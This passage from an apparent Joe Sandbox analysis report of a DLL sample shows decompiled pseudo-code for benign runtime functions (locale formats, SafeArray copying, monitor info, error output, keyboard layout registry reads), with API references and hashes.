				_push(0xb1d556);
				return E00B1424C( &_v68, 0x10);
			}

0x00b1d284
0x00b1d284
0x00b1d285
0x00b1d287
0x00b1d28c
0x00b1d28c
0x00b1d28e
0x00b1d290
0x00b1d290
0x00b1d293
0x00b1d296
0x00b1d297
0x00b1d29c
0x00b1d29f
0x00b1d2a2
0x00b1d2a7
0x00b1d2ac
0x00b1d2b3
0x00b1d2b5
0x00b1d2b5
0x00b1d2bf
0x00b1d2ce
0x00b1d2db
0x00b1d2f0
0x00b1d2ff
0x00b1d314
0x00b1d323
0x00b1d336
0x00b1d349
0x00b1d35e
0x00b1d36d
0x00b1d380
0x00b1d395
0x00b1d3a0
0x00b1d3ad
0x00b1d3c2
0x00b1d3cd
0x00b1d3da
0x00b1d3ed
0x00b1d402
0x00b1d40f
0x00b1d424
0x00b1d431
0x00b1d439
0x00b1d441
0x00b1d456
0x00b1d460
0x00b1d465
0x00b1d467
0x00b1d480
0x00b1d469
0x00b1d471
0x00b1d471
0x00b1d495
0x00b1d49f
0x00b1d4a4
0x00b1d4a6
0x00b1d4b8
0x00b1d4c9
0x00b1d4e2
0x00b1d4cb
0x00b1d4d3
0x00b1d4d3
0x00b1d4c9
0x00b1d4e7
0x00b1d4ea
0x00b1d4ed
0x00b1d4f2
0x00b1d4ff
0x00b1d504
0x00b1d507
0x00b1d50a
0x00b1d50f
0x00b1d51c
0x00b1d52f
0x00b1d536
0x00b1d539
0x00b1d53c
0x00b1d54e

APIs

GetThreadLocale.KERNEL32(00000000,00B1D54F,?,?,00000000,00000000), ref: 00B1D2BA

Part of subcall function 00B1BA08: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00B1BA26

Strings

m/d/yy, xrefs: 00B1D389
:mm:ss, xrefs: 00B1D50A
AMPM, xrefs: 00B1D4CE
AMPM , xrefs: 00B1D4DD
:mm, xrefs: 00B1D4ED
mmmm d, yyyy, xrefs: 00B1D3B6

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: b820bfa661d82d5f5488d07bcec64fed0e1b9de063c621500f243540c91d73df
Instruction ID: 8019b3e1f06b6086af22012080e7cec0320904972a86d272073e688a83ec0828
Opcode Fuzzy Hash: b820bfa661d82d5f5488d07bcec64fed0e1b9de063c621500f243540c91d73df
Instruction Fuzzy Hash: FE616D317142499BDB00EBA4D881ADEBBE6EF99300FD094B5F101AB756DF38D985CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B1FB3C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00B1FB3C(short* __eax, intOrPtr __ecx, intOrPtr* __edx) {
				char _v260;
				char _v768;
				char _v772;
				short* _v776;
				intOrPtr _v780;
				char _v784;
				signed int _v788;
				signed short* _v792;
				char _v796;
				char _v800;
				intOrPtr* _v804;
				void* __ebp;
				signed char _t47;
				signed int _t54;
				void* _t62;
				intOrPtr* _t73;
				intOrPtr* _t91;
				void* _t93;
				void* _t95;
				void* _t98;
				void* _t99;
				intOrPtr* _t108;
				void* _t112;
				intOrPtr _t113;
				char* _t114;
				void* _t115;

				_t100 = __ecx;
				_v780 = __ecx;
				_t91 = __edx;
				_v776 = __eax;
				if(( *(__edx + 1) & 0x00000020) == 0) {
					E00B1F6E4(0x80070057);
				}
				_t47 =  *_t91;
				if((_t47 & 0x00000fff) != 0xc) {
					_push(_t91);
					_push(_v776);
					L00B1E2FC();
					return E00B1F6E4(_v776);
				} else {
					if((_t47 & 0x00000040) == 0) {
						_v792 =  *((intOrPtr*)(_t91 + 8));
					} else {
						_v792 =  *((intOrPtr*)( *((intOrPtr*)(_t91 + 8))));
					}
					_v788 =  *_v792 & 0x0000ffff;
					_t93 = _v788 - 1;
					if(_t93 < 0) {
						L9:
						_push( &_v772);
						_t54 = _v788;
						_push(_t54);
						_push(0xc);
						L00B1E758();
						_t113 = _t54;
						if(_t113 == 0) {
							E00B1F43C(_t100);
						}
						E00B1FA94(_v776);
						 *_v776 = 0x200c;
						 *((intOrPtr*)(_v776 + 8)) = _t113;
						_t95 = _v788 - 1;
						if(_t95 < 0) {
							L14:
							_t97 = _v788 - 1;
							if(E00B1FAB0(_v788 - 1, _t115) != 0) {
								L00B1E790();
								E00B1F6E4(_v792);
								L00B1E790();
								E00B1F6E4( &_v260);
								_v780(_t113,  &_v260,  &_v800, _v792,  &_v260,  &_v796);
							}
							_t62 = E00B1FAE0(_t97, _t115);
						} else {
							_t98 = _t95 + 1;
							_t73 =  &_v768;
							_t108 =  &_v260;
							do {
								 *_t108 =  *_t73;
								_t108 = _t108 + 4;
								_t73 = _t73 + 8;
								_t98 = _t98 - 1;
							} while (_t98 != 0);
							do {
								goto L14;
							} while (_t62 != 0);
							return _t62;
						}
					} else {
						_t99 = _t93 + 1;
						_t112 = 0;
						_t114 =  &_v772;
						do {
							_v804 = _t114;
							_push(_v804 + 4);
							_t18 = _t112 + 1; // 0x1
							_push(_v792);
							L00B1E760();
							E00B1F6E4(_v792);
							_push( &_v784);
							_t21 = _t112 + 1; // 0x1
							_push(_v792);
							L00B1E768();
							E00B1F6E4(_v792);
							 *_v804 = _v784 -  *((intOrPtr*)(_v804 + 4)) + 1;
							_t112 = _t112 + 1;
							_t114 = _t114 + 8;
							_t99 = _t99 - 1;
						} while (_t99 != 0);
						goto L9;
					}
				}
			}

0x00b1fb3c
0x00b1fb48
0x00b1fb4e
0x00b1fb50
0x00b1fb5a
0x00b1fb61
0x00b1fb61
0x00b1fb66
0x00b1fb74
0x00b1fced
0x00b1fcf4
0x00b1fcf5
0x00000000
0x00b1fb7a
0x00b1fb7d
0x00b1fb8f
0x00b1fb7f
0x00b1fb84
0x00b1fb84
0x00b1fb9e
0x00b1fbaa
0x00b1fbad
0x00b1fc1a
0x00b1fc20
0x00b1fc21
0x00b1fc27
0x00b1fc28
0x00b1fc2a
0x00b1fc2f
0x00b1fc33
0x00b1fc35
0x00b1fc35
0x00b1fc40
0x00b1fc4b
0x00b1fc56
0x00b1fc5f
0x00b1fc62
0x00b1fc7e
0x00b1fc85
0x00b1fc90
0x00b1fca7
0x00b1fcac
0x00b1fcc0
0x00b1fcc5
0x00b1fcd8
0x00b1fcd8
0x00b1fce1
0x00b1fc64
0x00b1fc64
0x00b1fc65
0x00b1fc6b
0x00b1fc71
0x00b1fc73
0x00b1fc75
0x00b1fc78
0x00b1fc7b
0x00b1fc7b
0x00b1fc7e
0x00000000
0x00000000
0x00000000
0x00b1fc7e
0x00b1fbaf
0x00b1fbaf
0x00b1fbb0
0x00b1fbb2
0x00b1fbb8
0x00b1fbba
0x00b1fbc9
0x00b1fbca
0x00b1fbd4
0x00b1fbd5
0x00b1fbda
0x00b1fbe5
0x00b1fbe6
0x00b1fbf0
0x00b1fbf1
0x00b1fbf6
0x00b1fc11
0x00b1fc13
0x00b1fc14
0x00b1fc17
0x00b1fc17
0x00000000
0x00b1fbb8
0x00b1fbad

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 00B1FBD5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 00B1FBF1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 00B1FC2A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 00B1FCA7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 00B1FCC0
VariantCopy.OLEAUT32(?), ref: 00B1FCF5

Strings

, xrefs: 00B1FB56

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-3916222277
Opcode ID: 1637a73e56f6c814b651d0282bdc9763110833d29606e8994f0fda8ef278c806
Instruction ID: 6533a25a9d046b6f18722388d5eb808853dfddf662d138aa0d47a4196847c58f
Opcode Fuzzy Hash: 1637a73e56f6c814b651d0282bdc9763110833d29606e8994f0fda8ef278c806
Instruction Fuzzy Hash: 8451ED7590062E9BDB22DB58C891AE9B3FDEF58310F8041E5E909E7212D6309FC5CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00B39DB4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00B39DB4(struct HMONITOR__* _a4, struct tagMONITORINFO* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				struct HMONITOR__* _t27;
				struct tagMONITORINFO* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0xbdf920 != 0) {
					_t24 = 0;
					if(_t27 == 0x12340042 && _t29 != 0 && _t29->cbSize >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						_t29->rcMonitor.left = 0;
						_t29->rcMonitor.top = 0;
						_t29->rcMonitor.right = GetSystemMetrics(0);
						_t29->rcMonitor.bottom = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L00B16E54();
						}
						_t24 = 1;
					}
				} else {
					 *0xbdf904 = E00B39A84(4, _t23,  *0xbdf904, _t27, _t29);
					_t24 = GetMonitorInfoA(_t27, _t29);
				}
				return _t24;
			}

0x00b39dbd
0x00b39dc0
0x00b39dca
0x00b39def
0x00b39df7
0x00b39e17
0x00b39e1c
0x00b39e27
0x00b39e32
0x00b39e3c
0x00b39e3d
0x00b39e3e
0x00b39e3f
0x00b39e40
0x00b39e41
0x00b39e4b
0x00b39e4d
0x00b39e55
0x00b39e56
0x00b39e56
0x00b39e5b
0x00b39e5b
0x00b39dcc
0x00b39dde
0x00b39deb
0x00b39deb
0x00b39e65

APIs

GetMonitorInfoA.USER32(?,?), ref: 00B39DE5
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00B39E0C
GetSystemMetrics.USER32 ref: 00B39E21
GetSystemMetrics.USER32 ref: 00B39E2C
lstrcpy.KERNEL32(?,DISPLAY), ref: 00B39E56

Part of subcall function 00B39A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 00B39B04

Strings

GetMonitorInfo, xrefs: 00B39DCC
DISPLAY, xrefs: 00B39E4D

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: System$InfoMetrics$AddressMonitorParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfo
API String ID: 1539801207-1633989206
Opcode ID: e31b3d83043c2bf17248c0ff0704d7d96c2595620cb33e14477d14fa09b286fa
Instruction ID: 5997d1b30e5151323cab9624e4593d02b37dca13567aaece4cd45769a285bf8d
Opcode Fuzzy Hash: e31b3d83043c2bf17248c0ff0704d7d96c2595620cb33e14477d14fa09b286fa
Instruction Fuzzy Hash: 5311B4326063159FD720CF64DC447B7B7E9EB45B11F20497AE94A87250E7B0E948C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00B140AC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00B140AC(void* __ecx) {
				long _v4;
				int _t3;

				if( *0xbdf04c == 0) {
					if( *0xbdc030 == 0) {
						_t3 = MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
					}
					return _t3;
				} else {
					if( *0xbdf220 == 0xd7b2 &&  *0xbdf228 > 0) {
						 *0xbdf238();
					}
					WriteFile(GetStdHandle(0xfffffff5), "Runtime error     at 00000000", 0x1e,  &_v4, 0);
					return WriteFile(GetStdHandle(0xfffffff5), E00B14134, 2,  &_v4, 0);
				}
			}

0x00b140b4
0x00b14114
0x00b14124
0x00b14124
0x00b1412a
0x00b140b6
0x00b140bf
0x00b140cf
0x00b140cf
0x00b140eb
0x00b1410c
0x00b1410c

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,00BDB89C,00000000,?,00B1417A,?,?,00BDF638,?,?,00BDC0BC,00B16835,00BDB89C), ref: 00B140E5
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,00BDB89C,00000000,?,00B1417A,?,?,00BDF638,?,?,00BDC0BC,00B16835,00BDB89C), ref: 00B140EB
GetStdHandle.KERNEL32(000000F5,00B14134,00000002,00BDB89C,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,00BDB89C,00000000,?,00B1417A,?,?,00BDF638), ref: 00B14100
WriteFile.KERNEL32(00000000,000000F5,00B14134,00000002,00BDB89C,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,00BDB89C,00000000,?,00B1417A,?,?), ref: 00B14106
MessageBoxA.USER32 ref: 00B14124

Strings

Error, xrefs: 00B14118
Runtime error at 00000000, xrefs: 00B140DE, 00B1411D

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 9763b5c48106f6f19302765e6db75dcc2d2a4622be06353276f3431afb2d8f6a
Instruction ID: a7c54756c7392d522684d15ebe5d4e984579d8dd9569fa87719597d691aaef8e
Opcode Fuzzy Hash: 9763b5c48106f6f19302765e6db75dcc2d2a4622be06353276f3431afb2d8f6a
Instruction Fuzzy Hash: 20F0BB55685301B5EA20B7545C07FE9AADCC704F25FD486E7B311E61E3EBA444C4CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00B359C4 Relevance: 12.1, APIs: 8, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E00B359C4(void* __ebx) {
				intOrPtr _v8;
				char _v1000;
				char _v1004;
				char _v1032;
				signed int _v1034;
				short _v1036;
				void* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				intOrPtr _t29;
				intOrPtr _t45;
				intOrPtr _t52;
				void* _t54;
				void* _t55;

				_t54 = _t55;
				_v1036 = 0x300;
				_v1034 = 0x10;
				_t25 = E00B12AC8(_t24, 0x40,  &_v1032);
				_push(0);
				L00B171A4();
				_v8 = _t25;
				_push(_t54);
				_push(0xb35ac1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t55 + 0xfffffbf8;
				_push(0x68);
				_t27 = _v8;
				_push(_t27);
				L00B16F24();
				_t45 = _t27;
				if(_t45 >= 0x10) {
					_push( &_v1032);
					_push(8);
					_push(0);
					_push(_v8);
					L00B16F4C();
					if(_v1004 != 0xc0c0c0) {
						_push(_t54 + (_v1034 & 0x0000ffff) * 4 - 0x424);
						_push(8);
						_push(_t45 - 8);
						_push(_v8);
						L00B16F4C();
					} else {
						_push( &_v1004);
						_push(1);
						_push(_t45 - 8);
						_push(_v8);
						L00B16F4C();
						_push(_t54 + (_v1034 & 0x0000ffff) * 4 - 0x420);
						_push(7);
						_push(_t45 - 7);
						_push(_v8);
						L00B16F4C();
						_push( &_v1000);
						_push(1);
						_push(7);
						_push(_v8);
						L00B16F4C();
					}
				}
				_pop(_t52);
				 *[fs:eax] = _t52;
				_push(0xb35ac8);
				_t29 = _v8;
				_push(_t29);
				_push(0);
				L00B173DC();
				return _t29;
			}

0x00b359c5
0x00b359ce
0x00b359d7
0x00b359eb
0x00b359f0
0x00b359f2
0x00b359f7
0x00b359fc
0x00b359fd
0x00b35a02
0x00b35a05
0x00b35a08
0x00b35a0a
0x00b35a0d
0x00b35a0e
0x00b35a13
0x00b35a18
0x00b35a24
0x00b35a25
0x00b35a27
0x00b35a2c
0x00b35a2d
0x00b35a3c
0x00b35a98
0x00b35a99
0x00b35a9e
0x00b35aa2
0x00b35aa3
0x00b35a3e
0x00b35a44
0x00b35a45
0x00b35a4c
0x00b35a50
0x00b35a51
0x00b35a64
0x00b35a65
0x00b35a6a
0x00b35a6e
0x00b35a6f
0x00b35a7a
0x00b35a7b
0x00b35a7d
0x00b35a82
0x00b35a83
0x00b35a83
0x00b35a3c
0x00b35aaa
0x00b35aad
0x00b35ab0
0x00b35ab5
0x00b35ab8
0x00b35ab9
0x00b35abb
0x00b35ac0

APIs

73BEAC50.USER32(00000000), ref: 00B359F2
73BEAD70.GDI32(?,00000068,00000000,00B35AC1,?,00000000), ref: 00B35A0E
73BEAEF0.GDI32(?,00000000,00000008,?,?,00000068,00000000,00B35AC1,?,00000000), ref: 00B35A2D
73BEAEF0.GDI32(?,-00000008,00000001,00C0C0C0,?,00000000,00000008,?,?,00000068,00000000,00B35AC1,?,00000000), ref: 00B35A51
73BEAEF0.GDI32(?,00000000,00000007,?,?,-00000008,00000001,00C0C0C0,?,00000000,00000008,?,?,00000068,00000000,00B35AC1), ref: 00B35A6F
73BEAEF0.GDI32(?,00000007,00000001,?,?,00000000,00000007,?,?,-00000008,00000001,00C0C0C0,?,00000000,00000008,?), ref: 00B35A83
73BEAEF0.GDI32(?,00000000,00000008,?,?,00000000,00000008,?,?,00000068,00000000,00B35AC1,?,00000000), ref: 00B35AA3
73BEB380.USER32(00000000,?,00B35AC8,00B35AC1,?,00000000), ref: 00B35ABB

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: B380
String ID:
API String ID: 120756276-0
Opcode ID: 597bb32221cb3daa171326f74717dd12ad051f5b89e474c5e1e65588eb9d62bb
Instruction ID: fe7e2332cd8dab65be6fcc85ea75b1730dbe1df1af8e8f0f628a4977001b4293
Opcode Fuzzy Hash: 597bb32221cb3daa171326f74717dd12ad051f5b89e474c5e1e65588eb9d62bb
Instruction Fuzzy Hash: 49213EB1A40208BAEB10DBA4DDC6FAE73FCEB48704F9005D1FB04E7581D675AE959B24

Uniqueness

Uniqueness Score: -1.00%

Function 00B4A59C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 125
registryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00B4A59C(intOrPtr __eax, void* __ebx, void* __fp0) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				char _v20;
				void* _v24;
				struct HKL__* _v280;
				char _v536;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				void* _t60;
				intOrPtr _t106;
				intOrPtr _t111;
				void* _t117;
				void* _t118;
				intOrPtr _t119;
				void* _t129;

				_t129 = __fp0;
				_t117 = _t118;
				_t119 = _t118 + 0xfffffda0;
				_v612 = 0;
				_v8 = __eax;
				_push(_t117);
				_push(0xb4a747);
				_push( *[fs:eax]);
				 *[fs:eax] = _t119;
				if( *((intOrPtr*)(_v8 + 0x34)) != 0) {
					L11:
					_pop(_t106);
					 *[fs:eax] = _t106;
					_push(0xb4a74e);
					return E00B14228( &_v612);
				} else {
					 *((intOrPtr*)(_v8 + 0x34)) = E00B13350(1);
					E00B14228(_v8 + 0x38);
					_t60 = GetKeyboardLayoutList(0x40,  &_v280) - 1;
					if(_t60 < 0) {
						L10:
						 *((char*)( *((intOrPtr*)(_v8 + 0x34)) + 0x1d)) = 0;
						E00B2D218( *((intOrPtr*)(_v8 + 0x34)), 1);
						goto L11;
					} else {
						_v20 = _t60 + 1;
						_v24 =  &_v280;
						do {
							if(E00B65A90( *_v24) == 0) {
								goto L9;
							} else {
								_v608 =  *_v24;
								_v604 = 0;
								if(RegOpenKeyExA(0x80000002, E00B197D0( &_v600,  &_v608, "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x", _t129, 0), 0, 0x20019,  &_v16) != 0) {
									goto L9;
								} else {
									_push(_t117);
									_push(0xb4a703);
									_push( *[fs:eax]);
									 *[fs:eax] = _t119;
									_v12 = 0x100;
									if(RegQueryValueExA(_v16, "layout text", 0, 0,  &_v536,  &_v12) == 0) {
										E00B14498( &_v612, 0x100,  &_v536);
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x34)))) + 0x3c))();
										if( *_v24 ==  *((intOrPtr*)(_v8 + 0x3c))) {
											E00B14498(_v8 + 0x38, 0x100,  &_v536);
										}
									}
									_pop(_t111);
									 *[fs:eax] = _t111;
									_push(0xb4a70a);
									return RegCloseKey(_v16);
								}
							}
							goto L12;
							L9:
							_v24 = _v24 + 4;
							_t38 =  &_v20;
							 *_t38 = _v20 - 1;
						} while ( *_t38 != 0);
						goto L10;
					}
				}
				L12:
			}

0x00b4a59c
0x00b4a59d
0x00b4a59f
0x00b4a5a8
0x00b4a5ae
0x00b4a5b3
0x00b4a5b4
0x00b4a5b9
0x00b4a5bc
0x00b4a5c6
0x00b4a728
0x00b4a730
0x00b4a733
0x00b4a736
0x00b4a746
0x00b4a5cc
0x00b4a5db
0x00b4a5e4
0x00b4a5f7
0x00b4a5fa
0x00b4a717
0x00b4a71d
0x00b4a723
0x00000000
0x00b4a600
0x00b4a601
0x00b4a60a
0x00b4a60d
0x00b4a619
0x00000000
0x00b4a61f
0x00b4a631
0x00b4a637
0x00b4a661
0x00000000
0x00b4a667
0x00b4a669
0x00b4a66a
0x00b4a66f
0x00b4a672
0x00b4a675
0x00b4a69b
0x00b4a6ae
0x00b4a6c6
0x00b4a6d4
0x00b4a6e7
0x00b4a6e7
0x00b4a6d4
0x00b4a6ee
0x00b4a6f1
0x00b4a6f4
0x00b4a702
0x00b4a702
0x00b4a661
0x00000000
0x00b4a70a
0x00b4a70a
0x00b4a70e
0x00b4a70e
0x00b4a70e
0x00000000
0x00b4a60d
0x00b4a5fa
0x00000000

APIs

GetKeyboardLayoutList.USER32(00000040,?,00000000,00B4A747,?,02651458,?,00B4A7A9,00000000,?,00B5CD8F), ref: 00B4A5F2
RegOpenKeyExA.ADVAPI32(80000002,00000000), ref: 00B4A65A
RegQueryValueExA.ADVAPI32(?,layout text,00000000,00000000,?,00000100,00000000,00B4A703,?,80000002,00000000), ref: 00B4A694
RegCloseKey.ADVAPI32(?,00B4A70A,00000000,?,00000100,00000000,00B4A703,?,80000002,00000000), ref: 00B4A6FD

Strings

layout text, xrefs: 00B4A68B
System\CurrentControlSet\Control\Keyboard Layouts\%.8x, xrefs: 00B4A644

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CloseKeyboardLayoutListOpenQueryValue
String ID: System\CurrentControlSet\Control\Keyboard Layouts\%.8x$layout text
API String ID: 1703357764-2652665750
Opcode ID: 6069b27d3090218ae7f94f8bbd3e1610fc328f7af2a06609b164811c2a707177
Instruction ID: 45a1dc1f6df7f330c843880c204d8e17b0eac869fd2ad75c45ed030dedb8ee7d
Opcode Fuzzy Hash: 6069b27d3090218ae7f94f8bbd3e1610fc328f7af2a06609b164811c2a707177
Instruction Fuzzy Hash: E3411474A44209AFDB21DF94C981BEEB7F8EB48700F9140E1E904A7251D774AF80AB62

Uniqueness

Uniqueness Score: -1.00%

Function 00B39E88 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E00B39E88(intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0xbdf921 != 0) {
					_t24 = 0;
					if(_t27 == 0x12340042 && _t29 != 0 &&  *_t29 >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						 *((intOrPtr*)(_t29 + 4)) = 0;
						 *((intOrPtr*)(_t29 + 8)) = 0;
						 *((intOrPtr*)(_t29 + 0xc)) = GetSystemMetrics(0);
						 *((intOrPtr*)(_t29 + 0x10)) = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L00B16E54();
						}
						_t24 = 1;
					}
				} else {
					_t26 =  *0xbdf908; // 0xb39e88
					 *0xbdf908 = E00B39A84(5, _t23, _t26, _t27, _t29);
					_t24 =  *0xbdf908(_t27, _t29);
				}
				return _t24;
			}

0x00b39e91
0x00b39e94
0x00b39e9e
0x00b39ec3
0x00b39ecb
0x00b39eeb
0x00b39ef0
0x00b39efb
0x00b39f06
0x00b39f10
0x00b39f11
0x00b39f12
0x00b39f13
0x00b39f14
0x00b39f15
0x00b39f1f
0x00b39f21
0x00b39f29
0x00b39f2a
0x00b39f2a
0x00b39f2f
0x00b39f2f
0x00b39ea0
0x00b39ea5
0x00b39eb2
0x00b39ebf
0x00b39ebf
0x00b39f39

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00B39EE0
GetSystemMetrics.USER32 ref: 00B39EF5
GetSystemMetrics.USER32 ref: 00B39F00
lstrcpy.KERNEL32(?,DISPLAY), ref: 00B39F2A

Part of subcall function 00B39A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 00B39B04

Strings

DISPLAY, xrefs: 00B39F21
GetMonitorInfoA, xrefs: 00B39EA0

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: System$Metrics$AddressInfoParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfoA
API String ID: 2545840971-1370492664
Opcode ID: fbacff8e1eaa8e0dfdca3a45a1448be32596d0335e82eebee3fa52e9f039d431
Instruction ID: f1ea907cf367ece47454846220bae6fa8c365ab9518ed1890e8363e57ee26ae6
Opcode Fuzzy Hash: fbacff8e1eaa8e0dfdca3a45a1448be32596d0335e82eebee3fa52e9f039d431
Instruction Fuzzy Hash: 0C11D031B06705AFD720DF618C94BABB7E8EB05710F20457AE95AD7240EBB4B844CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B39F5C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E00B39F5C(intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0xbdf922 != 0) {
					_t24 = 0;
